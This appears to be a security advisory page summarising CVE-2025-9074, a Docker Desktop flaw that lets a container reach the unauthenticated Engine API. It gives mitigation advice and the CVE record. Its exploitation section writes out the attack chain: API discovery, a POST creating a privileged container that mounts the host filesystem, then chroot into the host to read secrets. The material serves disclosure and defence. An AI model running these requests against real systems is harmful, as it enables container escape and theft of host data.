Docker Desktop: container escape via Docker Engine API exposure (CVE-2025-9074) #shorts

Summary

Welcome to Container Security Weekly. In today’s episode we’ll be discussing CVE-2025-9074, a critical container escape vulnerability in Docker Desktop with a CVSS score of 9.3. This flaw allows a local Linux container to reach the Docker Engine API on the default subnet, enabling attackers to execute privileged engine commands, control other containers, and in some Windows configurations even mount the host drive with user-level privileges.

Product details

The affected product is Docker Desktop, versions prior to 4.44.3. This includes both Docker Desktop for Windows (including WSL2 backend) and Docker Desktop for Mac. The vulnerability was first published on August 20, 2025, and Docker released patched installers on August 25, 2025.

Vulnerability type summary

CVE-2025-9074 is categorized under CWE-668: Exposure of Resource to Wrong Sphere. In container security terms, it’s a container escape or isolation bypass. An SSRF-like behavior within the host-to-container networking allows unauthorized access to the daemon API without proper authentication or TLS safeguards.

Details of the vulnerability

By design, Docker Desktop exposes the Engine API on the internal subnet at 192.168.65.7:2375. CVE-2025-9074 abuses that exposure even when Enhanced Container Isolation (ECI) is enabled or when the ‘Expose daemon on tcp://localhost:2375 without TLS’ option is disabled. A compromised or rogue Linux container can send API requests to that endpoint and perform any engine operation: spinning up new containers, stopping or deleting existing ones, pulling or pushing images, and modifying network or volume mounts. On Windows with WSL2, the exploit also permits mounting the host drive as the current user, creating a powerful local privilege escalation and lateral movement tool. Attackers can leverage this to exfiltrate data, tamper with supply chain components, or seed malicious containers.

Conclusion

To mitigate CVE-2025-9074, immediately upgrade Docker Desktop to version 4.44.3 or later. If you cannot upgrade, disable the Docker Engine TCP socket, restrict container network access, or enforce TLS and authentication on the API endpoint. Regularly audit container configurations and limit the privileges of local containers. That’s all for today’s deep dive. Stay safe, stay updated, and tune in next week for more container security insights.

Watch the full video on YouTube: CVE-2025-9074

Remediation and exploitation details

This chain involves the following actors

  • Malicious container process: Initiates unauthorized API calls to escape isolation
  • Docker Engine daemon: Receives and executes privileged commands via its API
  • Host user: Runs Docker Desktop and is at risk if the vulnerability is exploited

This following systems are involved

  • Docker Desktop (Hosts and manages local container instances on developer workstations): Exposes the Docker Engine API on the local subnet by default
  • Docker Engine API (Controls container lifecycle, images, volumes, and other engine operations): Listens on 192.168.65.7:2375 without authentication or encryption
  • Linux container (Runs user workload in isolation): Launches the exploit code that calls the Docker API
  • Host operating system (Provides the underlying kernel and file system): May be partially exposed when the container mounts host drives

Attack entry point

  • Docker API endpoint: Unprotected HTTP interface at http://192.168.65.7:2375 on the configured Docker subnet

Remediation actions

Host user or system administrator
Upgrade Docker Desktop to version 4.44.3 or later
Docker Desktop
Host user or system administrator
Disable the unencrypted API exposure on tcp://localhost:2375
Docker Engine daemon configuration
Host user or system administrator
Enable TLS authentication for the Docker daemon socket
Docker Engine daemon configuration
Host user or system administrator
Restrict container network access to the Docker subnet
Local firewall or network policy

Exploitation actions

Network reconnaissance

Malicious container process
Discover the Docker API host address
Linux container
Examples:
  • Inspect /etc/hosts or default gateway to find 192.168.65.7
  • Run: ip route | grep default

HTTP GET request

Malicious container process
Enumerate running containers via API
Docker Engine API
Examples:
  • GET http://192.168.65.7:2375/v1.41/containers/json
  • Parse returned JSON to list container IDs

HTTP POST to /containers/create

Malicious container process
Create a new privileged container
Docker Engine API
Examples:
  • POST http://192.168.65.7:2375/v1.41/containers/create?name=escape --data '{"Image":"alpine","HostConfig":{"Privileged":true,"Binds":["/host:/mnt:rw"]}}'

HTTP POST to /containers/{id}/start

Malicious container process
Start the privileged container and mount host file system
Docker Engine API
Examples:
  • POST http://192.168.65.7:2375/v1.41/containers/escape/start
  • New container has read-write access to /mnt on the host

Process execution inside mounted host volume

Malicious container process
Execute commands on the host
Privileged escape container
Examples:
  • chroot /mnt /bin/sh
  • modify system configuration files or extract secrets from /mnt/etc

Related Content

NOTE: The following related content has not been vetted and may be unsafe.

CVE database technical details

CVE ID
CVE-2025-9074
Description
A vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default. This vulnerability occurs with or without Enhanced Container Isolation (ECI) enabled, and with or without the "Expose daemon on tcp://localhost:2375 without TLS" option enabled. This can lead to execution of a wide range of privileged commands to the engine API, including controlling other containers, creating new ones, managing images etc. In some circumstances (e.g. Docker Desktop for Windows with WSL backend) it also allows mounting the host drive with the same privileges as the user running Docker Desktop.
Provider
Docker
CWE / problem types
CWE-668 Exposure of Resource to Wrong Sphere
Affected Software Versions
Docker:Docker Desktop:[{'lessThan': '4.44.3', 'status': 'affected', 'version': '4.25', 'versionType': 'semver'}]
Date Published
2025-08-20T13:28:35.553Z
Last Updated
2025-08-25T16:22:04.547Z